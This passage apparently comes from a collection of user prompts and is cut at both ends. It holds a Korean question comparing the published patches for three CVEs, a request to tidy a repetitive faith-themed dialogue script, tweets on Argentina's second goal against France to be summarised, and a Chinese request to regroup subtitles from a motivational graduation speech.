take that will attempt to determine what your functions are (Fe vs Fi, Te vs Ti, etc.) and in what order they are “stacked”. This then determines which of the 16 types you fall into. While the tests are certainly convenient, any such self-assessment is naturally rigid and prone to testing limitations and thus is never able to get a fully-accurate picture of a human being.' -'Resource Exposure 취약점이 존재하는 세 개의 CVE가 있는데, 셋의 패치가 각각 다음과 같아.\n\nCVE-2022-25375:\n\n--- rndis.c\\_5\\_OLD.vul 2022-03-03 17:41:44.082594059 +0900\n+++ rndis.c\\_5\\_NEW.vul 2022-03-03 17:41:44.082594059 +0900\n@@ -5,14 +5,17 @@\n rndis\\_set\\_cmplt\\_type \\*resp;\n rndis\\_resp\\_t \\*r;\n \n+ BufLength = le32\\_to\\_cpu(buf->InformationBufferLength);\n+ BufOffset = le32\\_to\\_cpu(buf->InformationBufferOffset);\n+ if ((BufLength > RNDIS\\_MAX\\_TOTAL\\_SIZE) ||\n+ (BufOffset + 8 >= RNDIS\\_MAX\\_TOTAL\\_SIZE))\n+ return -EINVAL;\n+\n r = rndis\\_add\\_response(params, sizeof(rndis\\_set\\_cmplt\\_type));\n if (!r)\n return -ENOMEM;\n resp = (rndis\\_set\\_cmplt\\_type \\*)r->buf;\n \n- BufLength = le32\\_to\\_cpu(buf->InformationBufferLength);\n- BufOffset = le32\\_to\\_cpu(buf->InformationBufferOffset);\n-\n #ifdef VERBOSE\\_DEBUG\n pr\\_debug("%s: Length: %d\\n", \\_\\_func\\_\\_, BufLength);\n pr\\_debug("%s: Offset: %d\\n", \\_\\_func\\_\\_, BufOffset);\n\nCVE-2022-25236:\n\n--- runtests.c\\_364\\_OLD.vul 2022-03-26 22:36:09.214467870 +0900\n+++ runtests.c\\_364\\_NEW.vul 2022-03-26 22:36:09.214467870 +0900\n@@ -2,16 +2,18 @@\n struct test\\_case {\n enum XML\\_Status expectedStatus;\n const char \\*doc;\n+ XML\\_Char namesep;\n };\n struct test\\_case cases[] = {\n- {XML\\_STATUS\\_OK, ""},\n- {XML\\_STATUS\\_ERROR, ""},\n+ {XML\\_STATUS\\_OK, "", XCS(\'\\n\')},\n+ {XML\\_STATUS\\_ERROR, "", XCS(\'\\n\')},\n+ {XML\\_STATUS\\_OK, "", XCS(\':\')},\n };\n \n size\\_t i = 0;\n size\\_t failCount = 0;\n for (; i < sizeof(cases) / sizeof(cases[0]); i++) {\n- XML\\_Parser parser = XML\\_ParserCreateNS(NULL, \'\\n\');\n+ XML\\_Parser parser = XML\\_ParserCreateNS(NULL, cases[i].namesep);\n XML\\_SetElementHandler(parser, dummy\\_start\\_element, dummy\\_end\\_element);\n if (XML\\_Parse(parser, cases[i].doc, (int)strlen(cases[i].doc),\n /\\*isFinal\\*/ XML\\_TRUE)\n\nCVE-2022-23960:\n\n"--- proton-pack.c\\_5\\_OLD.vul 2022-04-04 14:41:09.455015025 +0900\n+++ proton-pack.c\\_5\\_NEW.vul 2022-04-04 14:41:09.455015025 +0900\n@@ -1,11 +1,23 @@\n ssize\\_t cpu\\_show\\_spectre\\_v2(struct device \\*dev, struct device\\_attribute \\*attr,\n char \\*buf)\n {\n+ enum mitigation\\_state bhb\\_state = arm64\\_get\\_spectre\\_bhb\\_state();\n+ const char \\*bhb\\_str = get\\_bhb\\_affected\\_string(bhb\\_state);\n+ const char \\*v2\\_str = "Branch predictor hardening";\n+\n switch (spectre\\_v2\\_state) {\n case SPECTRE\\_UNAFFECTED:\n- return sprintf(buf, "Not affected\\n");\n+ if (bhb\\_state == SPECTRE\\_UNAFFECTED)\n+ return sprintf(buf, "Not affected\\n");\n+\n+ /\\*\n+ \\* Platforms affected by Spectre-BHB can\'t report\n+ \\* "Not affected" for Spectre-v2.\n+ \\*/\n+ v2\\_str = "CSV2";\n+ fallthrough;\n case SPECTRE\\_MITIGATED:\n- return sprintf(buf, "Mitigation: Branch predictor hardening\\n");\n+ return sprintf(buf, "Mitigation: %s%s\\n", v2\\_str, bhb\\_str);\n case SPECTRE\\_VULNERABLE:\n fallthrough;\n default:\n"\n"--- spectre.c\\_1\\_OLD.vul 2022-04-04 14:13:14.511591691 +0900\n+++ spectre.c\\_1\\_NEW.vul 2022-04-04 14:13:14.511591691 +0900\n@@ -3,6 +3,6 @@\n #ifdef CONFIG\\_BPF\\_SYSCALL\n return !sysctl\\_unprivileged\\_bpf\\_disabled;\n #else\n- return false\n+ return false;\n #endif\n }\n"\n"--- mmu.c\\_24\\_OLD.vul 2022-04-04 14:44:17.456707352 +0900\n+++ mmu.c\\_24\\_NEW.vul 2022-04-04 14:44:17.456707352 +0900\n@@ -1,5 +1,7 @@\n static int \\_\\_init map\\_entry\\_trampoline(void)\n {\n+ int i;\n+\n pgprot\\_t prot = rodata\\_enabled ? PAGE\\_KERNEL\\_ROX : PAGE\\_KERNEL\\_EXEC;\n phys\\_addr\\_t pa\\_start = \\_\\_pa\\_symbol(\\_\\_entry\\_tramp\\_text\\_start);\n \n@@ -8,11 +10,15 @@\n \n /\\* Map only the text into the trampoline page table \\*/\n memset(tramp\\_pg\\_dir, 0, PGD\\_SIZE);\n- \\_\\_create\\_pgd\\_mapping(tramp\\_pg\\_dir, pa\\_start, TRAMP\\_VALIAS, PAGE\\_SIZE,\n- prot, \\_\\_pgd\\_pgtable\\_alloc, 0);\n+ \\_\\_create\\_pgd\\_mapping(tramp\\_pg\\_dir, pa\\_start, TRAMP\\_VALIAS,\n+ entry\\_tramp\\_text\\_size(), prot,\n+ \\_\\_pgd\\_pgtable\\_alloc, NO\\_BLOCK\\_MAPPINGS);\n \n /\\* Map both the text and data into the kernel page table \\*/\n- \\_\\_set\\_fixmap(FIX\\_ENTRY\\_TRAMP\\_TEXT, pa\\_start, prot);\n+ for (i = 0; i < DIV\\_ROUND\\_UP(entry\\_tramp\\_text\\_size(), PAGE\\_SIZE); i++)\n+ \\_\\_set\\_fixmap(FIX\\_ENTRY\\_TRAMP\\_TEXT1 - i,\n+ pa\\_start + i \\* PAGE\\_SIZE, prot);\n+\n if (IS\\_ENABLED(CONFIG\\_RANDOMIZE\\_BASE)) {\n extern char \\_\\_entry\\_tramp\\_data\\_start[];\n \n"\n"--- traps.c\\_38\\_OLD.vul 2022-04-04 14:14:21.006774119 +0900\n+++ traps.c\\_38\\_NEW.vul 2022-04-04 14:14:21.006774119 +0900\n@@ -1,7 +1,5 @@\n void \\_\\_init early\\_trap\\_init(void \\*vectors\\_base)\n {\n-#ifndef CONFIG\\_CPU\\_V7M\n- unsigned long vectors = (unsigned long)vectors\\_base;\n extern char \\_\\_stubs\\_start[], \\_\\_stubs\\_end[];\n extern char \\_\\_vectors\\_start[], \\_\\_vectors\\_end[];\n unsigned i;\n@@ -22,17 +20,10 @@\n \\* into the vector page, mapped at 0xffff0000, and ensure these\n \\* are visible to the instruction stream.\n \\*/\n- memcpy((void \\*)vectors, \\_\\_vectors\\_start, \\_\\_vectors\\_end - \\_\\_vectors\\_start);\n- memcpy((void \\*)vectors + 0x1000, \\_\\_stubs\\_start, \\_\\_stubs\\_end - \\_\\_stubs\\_start);\n+ copy\\_from\\_lma(vectors\\_base, \\_\\_vectors\\_start, \\_\\_vectors\\_end);\n+ copy\\_from\\_lma(vectors\\_base + 0x1000, \\_\\_stubs\\_start, \\_\\_stubs\\_end);\n \n kuser\\_init(vectors\\_base);\n \n- flush\\_icache\\_range(vectors, vectors + PAGE\\_SIZE \\* 2);\n-#else /\\* ifndef CONFIG\\_CPU\\_V7M \\*/\n- /\\*\n- \\* on V7-M there is no need to copy the vector table to a dedicated\n- \\* memory area. The address is configurable and so a table in the kernel\n- \\* image can be used.\n- \\*/\n-#endif\n+ flush\\_vectors(vectors\\_base, 0, PAGE\\_SIZE \\* 2);\n }\n"\n\n세 패치에서 Resource Exposure 취약점이 존재한다는 공통된 근거를 뽑아낼 수 있어?' -"Can you reorganize and consolidate this script (keep in script form): \nJonathan: Hey, Damian. What's up? You seem a bit down.\nDamian: (hesitantly) I did something really bad, John. I hurt someone and I don't think I can ever make it right.\nJonathan: (concerned) Oh man, that sounds rough. What did you do?\nDamian: (in a low voice) I hurt someone really badly, and I don't know if I can ever make it right.\nJonathan: (understanding) I get how you feel, Damian. But the important thing is to repent and ask Jesus to forgive you.\nDamian: (hesitant) I don't know about all that, John. I'm not sure I even believe in God.\nJonathan: (gentle) That's okay, Damian. But I believe that Jesus is the only one who can truly forgive us and heal us. And I believe that He loves you, no matter what.\nDamian: (tearfully) But what if He can't forgive me? What if I'm too far gone?\nJonathan: (comforting) That's not true, Damian. There's no sin too big for Jesus to forgive. He died on the cross for all our sins, so that we could be forgiven and have eternal life with God.\nDamian: (thoughtful) I see. But what if I mess up again?\nJonathan: (gentle) We all mess up, Damian. But that's why we need Jesus. He doesn't just forgive us, He helps us to live for Him and do the right thing.\nDamian: (nodding) I think I understand, John. But it's hard to believe sometimes.\nJonathan: (smiling) I know it is. But I believe it with all my heart. And I believe that Jesus can help you too, Damian.\nDamian: (nodding slowly) Okay, John. I'll try to have faith.\nJonathan: (grinning) That's the spirit, Damian. And I'll be here for you every step of the way.\nDamian: (in a low voice) There's one more thing, John. I did something really bad to my own flesh and blood. I don't know how to make it right.\nJonathan: (explaining) Yeah. When we repent and ask Jesus to forgive us, He doesn't just wipe the slate clean. He also gives us a new heart and a new spirit, so that we can start fresh and live for Him.\nDamian: (nodding slowly) I see. But what if I mess up again? What if I can't live up to His standards?\nJonathan: (gentle) It's okay if you do. We all make mistakes. But that's why we need Jesus. He doesn't just forgive us, He also helps us to live for Him and do the right thing.\nDamian: (nodding) I think I understand. But it's hard to believe sometimes.\nJonathan: (smiling) I know. But I believe it with all my heart. And I believe that Jesus can help you too, Damian.\nDamian: (nodding slowly) Okay, John. I'll try. I'll try to repent and ask for forgiveness.\nJonathan: (grinning) That's the spirit, Damian. And I'll be here for you every step of the way.\nDamian: (in a low voice) John, there's something I have to confess. I did something terrible to my own flesh and blood. I stole something that was very important to them, and I don't know how to make it right.\nJonathan: (concerned) I'm sorry to hear that, Damian. I understand how you feel. There was a time when I didn't tell the truth about something, and it really weighed on me.\nDamian: (curious) What did you do, John?\nJonathan: (hesitant) Well, there was a time when I accidentally broke a vase at my grandma's house. And I was so scared of getting in trouble that I lied and said I didn't do it. But the guilt ate away at me for days.\nDamian: (thoughtful) That sounds rough.\nJonathan: (nodding) It was. But then I remembered what my mom and dad taught me about repentance and asking for forgiveness. So I prayed to God and asked Him to help me tell the truth and make things right.\nDamian: (curious) And what happened?\nJonathan: (smiling) Well, it wasn't easy. But I talked to my grandma and told her the truth, and she forgave me. And I felt so much better afterwards, like a weight had been lifted off my shoulders.\nDamian: (nodding slowly) I see. But what if it's something worse? Something that can't be fixed?\nJonathan: (gentle) There's no sin too big for God to forgive, Damian. I believe that with all my heart. And I believe that Jesus can transform our hearts and desires, so that we don't want to sin anymore.\nDamian: (skeptical) But how does that work? How can God change us like that?\nJonathan: (explaining) Well, when we ask Jesus to come into our hearts and be our Lord and Savior, He gives us the Holy Spirit to guide us and help us. And He also gives us a new heart and a new desire to live for Him and do what's right.\nDamian: (thoughtful) That sounds too good to be true.\nJonathan: (smiling) I know it does. But I believe it because I've experienced it myself. When we surrender our lives and our will to God, He can do amazing things in us and through us.\nDamian: (nodding slowly) Okay, John. I think I understand. I'll try to do what's right and ask for forgiveness.\nJonathan: (grinning) That's great, Damian. And I'll be here to support you every step of the way.\nDamian: (shaking his head) I don't know, John. It's not just that one thing. I've done so many terrible things. Like when I hurt my own mother or when I killed Goliath. I don't think I can ever be forgiven for that.\nJonathan: (sympathetic) I know it's hard to believe, Damian. But I still think that God can forgive you. And I still believe that He loves you, no matter what.\nDamian: (doubtful) But how can He? How can He love someone who's so wicked and cruel?\nJonathan: (pausing) I don't know, Damian. But I believe that He does. And I believe that His love is bigger than our mistakes.\nDamian: (breaking down in tears) But what if it's not enough? What if I'm too far gone?\nJonathan: (comforting) That's not true, Damian. God's love is always enough. And there's nothing we can do to earn it or lose it. It's a gift that He freely gives to us, even when we don't deserve it.\nDamian: (nodding slowly) I want to believe that. I really do. But it's hard.\nJonathan: (nodding) I know it is. But that's why we need faith. We need to trust in God's promises, even when we don't understand them or feel them.\nDamian: (curious) What promises?\nJonathan: (smiling) Well, for one thing, He promised to never leave us or forsake us. And He promised to give us peace that surpasses all understanding.\nDamian: (thoughtful) Peace?\nJonathan: (explaining) Yeah. Even when we've done terrible things and feel like we don't deserve forgiveness, God can give us a sense of peace and assurance that everything will be okay.\nDamian: (nodding slowly) Okay, John. I'll try to have faith. But I still feel so ashamed and alone.\nJonathan: (sympathetic) I know how you feel, Damian. But you're not alone. I'm here for you. And more importantly, God is here for you too. And He loves you more than you can imagine.\nDamian: (nodding) Okay, John. Thank you for listening and for not judging me.\nJonathan: (grinning) Anytime, Damian. And remember, even when we can't see it or feel it, God's love is always there. Just like when we were stuck in that cave and thought we were alone, but Superboy and Robin came to rescue us.\nDamian: (smiling faintly) Yeah, I remember that.\nJonathan: (smiling back) And just like how we had to trust that they would come, even when it seemed impossible, we have to trust that God will come through for us too. And I believe He will, Damian. I really do.\nDamian: (thoughtful) You know, John. Maybe you're right. Maybe God can forgive me and love me, no matter what.\nJonathan: (encouraging) I believe He can, Damian. And I believe that He already has, through Jesus.\nDamian: (curious) What do you mean?\nJonathan: (explaining) Well, when Jesus died on the cross, He took the punishment for all our sins. He paid the price that we couldn't pay, so that we could be forgiven and have eternal life with God.\nDamian: (nodding slowly) I see. And all we have to do is believe in Him?\nJonathan: (nodding) That's right. And not just believe, but also surrender our lives and our will to Him. To follow Him and live for Him, no matter what.\nDamian: (thoughtful) That sounds like a big commitment.\nJonathan: (smiling) It is. But it's also the most rewarding thing we can do. To know that we're living for something greater than ourselves. To know that we have a purpose and a hope that goes beyond this world.\nDamian: (nodding slowly) I think I'm ready to take that step, John. To believe in Jesus and follow Him.\nJonathan: (grinning) That's amazing, Damian. I'm so happy for you. And I'll be here to support you every step of the way.\nDamian: (smiling faintly) Thank you, John. And thanks for everything. For listening, for being patient, for showing me the way.\nJonathan: (smiling back) Anytime, Damian. That's what friends are for. And I know that God has a great plan for your life, Damian. A plan to use your strengths and your passions to make a difference in the world. A plan to bring you joy and fulfillment, beyond what you can imagine.\nDamian: (nodding slowly) I believe it, John. I really do. And I'm excited to see what God has in store for me.\nDamian: (hesitant) There's one more thing, John. One more sin that I need to confess.\nJonathan: (listening) What is it, Damian?\nDamian: (in a low voice) I killed a man, John. A man who was trying to hurt me and my friends. But still, I took his life.\nJonathan: (shocked) That's a heavy burden, Damian. But I still believe that God can forgive you, if you're willing to repent and ask for His forgiveness.\nDamian: (tearful) I am, John. I really am. But I don't know how to pray.\nJonathan: (comforting) It's okay, Damian. I can help you. We can pray together, if you want.\nDamian: (nodding) Please, John. I need your help.\nJonathan: (closing his eyes) Okay, Damian. Let's bow our heads and pray.\nDamian: (sniffling) Thank you, John. Thank you for praying for me.\nJonathan: (smiling) Anytime, Damian. That's what friends do. And I believe that God heard our prayer and that He's already working in your life, Damian. I believe that He's forgiven you and that He's giving you a new start, a fresh beginning.\nDamian: (nodding slowly) I believe it too, John. And I'm grateful for your friendship and your faith." -"Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat's a beautiful goal ???''#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat's a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal'Absolutely beautiful ?? '#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don't even want Argentina to win but I can't deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal ''#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful ''Argentina is not playing today ''#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it's a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL''LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! ''That was absolutely beautiful! ''This goal was fully deserved!!''#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat'Was'BEAUTIFUL FOOTBALL ''WWWWOOOOWWWWW''Look at how they turned a France half chance to a PERFECT Argentine counter and goal!''Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal ''Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal''#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. 'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup 'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000" -"下面的內容是一個逐字稿分段，目前他被拆成了212個分段，但是分段的很混亂，沒有整理過，所以讓人很難閱讀跟理解。接下來我需要你扮演一個能夠快速理解文意、並且將逐字稿切分成完整段落的文字編輯者。請你讀過內容後，重新把這個逐字稿整理成12段語意、段落、都能夠完整表達句子的段落。\n\n1\n00:00:07,533 --> 00:00:09,599\nI found that nothing in life\n\n2\n00:00:10,100 --> 00:00:11,466\nis worthwhile\n\n3\n00:00:12,000 --> 00:00:13,700\nunless you take risks\n\n4\n00:00:14,400 --> 00:00:15,200\nnothing\n\n5\n00:00:16,366 --> 00:00:19,933\nNelson Mandela said there is no passion to be found\n\n6\n00:00:20,133 --> 00:00:21,466\nplaying small\n\n7\n00:00:21,866 --> 00:00:24,066\nin settling for a life that's less\n\n8\n00:00:24,400 --> 00:00:26,566\nthan the one you're capable of living\n\n9\n00:00:27,300 --> 00:00:29,300\nnow I'm sure in your experiences in school\n\n10\n00:00:29,300 --> 00:00:30,866\nand applying to college and\n\n11\n00:00:30,900 --> 00:00:31,766\npicking your major\n\n12\n00:00:31,766 --> 00:00:33,366\nand deciding what you want to do with\n\n13\n00:00:33,366 --> 00:00:35,533\nlike I'm sure people have told you\n\n14\n00:00:35,566 --> 00:00:37,866\nto make sure you have something to fall back on\n\n15\n00:00:38,066 --> 00:00:40,166\nmake sure you got something to fall back on honey\n\n16\n00:00:41,333 --> 00:00:43,466\nbut I never understood that concept\n\n17\n00:00:43,866 --> 00:00:45,666\nhaving something to fall back on\n\n18\n00:00:46,866 --> 00:00:48,333\nif I'm going to fall\n\n19\n00:00:49,333 --> 00:00:51,499\nI don't want to fall back on anything\n\n20\n00:00:51,900 --> 00:00:53,466\nI want to fall forward\n\n21\n00:00:54,366 --> 00:00:55,533\nI figure at least this way\n\n22\n00:00:55,533 --> 00:00:57,133\nI'll see what I'm going to hit\n\n23\n00:00:59,333 --> 00:01:00,699\nwithout consistency\n\n24\n00:01:01,300 --> 00:01:02,566\nyou'll never finish\n\n25\n00:01:04,500 --> 00:01:07,666\nso do what you feel passionate about passionate about\n\n26\n00:01:08,100 --> 00:01:09,533\ntake chances\n\n27\n00:01:10,933 --> 00:01:12,366\ndon't be afraid to fail this\n\n28\n00:01:12,366 --> 00:01:15,199\nan old IQ test was nine dots\n\n29\n00:01:15,566 --> 00:01:16,899\nand you had to\n\n30\n00:01:16,966 --> 00:01:20,399\ndraw five lines with a pencil within these nine dots\n\n31\n00:01:21,200 --> 00:01:22,466\nwithout lifting the pencil\n\n32\n00:01:22,933 --> 00:01:25,799\nthe only way to do it was to go outside the box\n\n33\n00:01:28,166 --> 00:01:29,566\ndon't be afraid to\n\n34\n00:01:30,133 --> 00:01:31,799\nthink outside the box\n\n35\n00:01:31,800 --> 00:01:34,333\ndon't be afraid to fail big\n\n36\n00:01:34,566 --> 00:01:37,899\nto dream big but remember\n\n37\n00:01:39,166 --> 00:01:40,366\ndreams\n\n38\n00:01:41,066 --> 00:01:42,399\nwithout goals\n\n39\n00:01:43,466 --> 00:01:45,066\nare just dreams\n\n40\n00:01:48,866 --> 00:01:51,899\nReggie Jackson struck out 2600 times in his career\n\n41\n00:01:51,900 --> 00:01:54,533\nthe most in the history of baseball\n\n42\n00:01:54,533 --> 00:01:56,466\nbut you don't hear about the strikeouts\n\n43\n00:01:56,466 --> 00:01:58,299\npeople remember the home runs\n\n44\n00:01:59,766 --> 00:02:00,899\nfall forward\n\n45\n00:02:02,500 --> 00:02:05,766\nThomas Edison conducted 1000 failed experiments\n\n46\n00:02:05,766 --> 00:02:07,199\ndid you know that I didn't know that\n\n47\n00:02:08,800 --> 00:02:12,366\nbecause the 1000 and 1st was the light bulb\n\n48\n00:02:14,266 --> 00:02:15,466\nfall forward\n\n49\n00:02:16,933 --> 00:02:20,766\nevery failed experiment is one step closer to success\n\n50\n00:02:21,933 --> 00:02:23,533\nyou've got to take risks\n\n51\n00:02:23,533 --> 00:02:25,766\nand I'm sure you've probably heard that before\n\n52\n00:02:25,766 --> 00:02:28,733\nbut I want to talk to you about why that's so important\n\n53\n00:02:32,400 --> 00:02:35,566\nyou will fail at some point in your life except it\n\n54\n00:02:35,700 --> 00:02:36,866\nyou will lose\n\n55\n00:02:37,500 --> 00:02:39,200\nyou will embarrass yourself\n\n56\n00:02:39,700 --> 00:02:41,733\nyou will suck at something\n\n57\n00:02:41,766 --> 00:02:43,166\nthere's no doubt about it\n\n58\n00:02:43,866 --> 00:02:44,966\nand I know that's probably\n\n59\n00:02:44,966 --> 00:02:47,666\nnot a traditional message for a graduation ceremony\n\n60\n00:02:47,666 --> 00:02:48,466\nbut hey\n\n61\n00:02:48,566 --> 00:02:51,866\nI'm telling you embrace it because it's inevitable\n\n62\n00:02:56,733 --> 00:02:58,866\nin the acting business you fail all the time\n\n63\n00:02:58,866 --> 00:03:00,199\nearly on in my career\n\n64\n00:03:00,766 --> 00:03:03,666\nI auditioned for a part in a Broadway musical\n\n65\n00:03:04,400 --> 00:03:05,966\nperfect role for me I thought\n\n66\n00:03:06,566 --> 00:03:08,566\nexcept for the fact that I can't sing\n\n67\n00:03:11,200 --> 00:03:12,333\nI didn't get the job\n\n68\n00:03:16,066 --> 00:03:17,266\nbut here's the thing\n\n69\n00:03:18,600 --> 00:03:19,966\nI didn't quit\n\n70\n00:03:21,466 --> 00:03:23,066\nI didn't fall back\n\n71\n00:03:24,500 --> 00:03:27,133\nI walked out of there to prepare for the next audition\n\n72\n00:03:27,133 --> 00:03:28,199\nand the next audition\n\n73\n00:03:28,200 --> 00:03:29,466\nand the next audition\n\n74\n00:03:30,100 --> 00:03:31,200\nI prayed\n\n75\n00:03:33,166 --> 00:03:35,966\nI prayed and I prayed\n\n76\n00:03:38,266 --> 00:03:39,699\nbut I continue to fail\n\n77\n00:03:40,100 --> 00:03:40,933\nand fail\n\n78\n00:03:41,666 --> 00:03:43,933\nand fail but it didn't matter because you know what\n\n79\n00:03:44,533 --> 00:03:45,666\nthere's an old 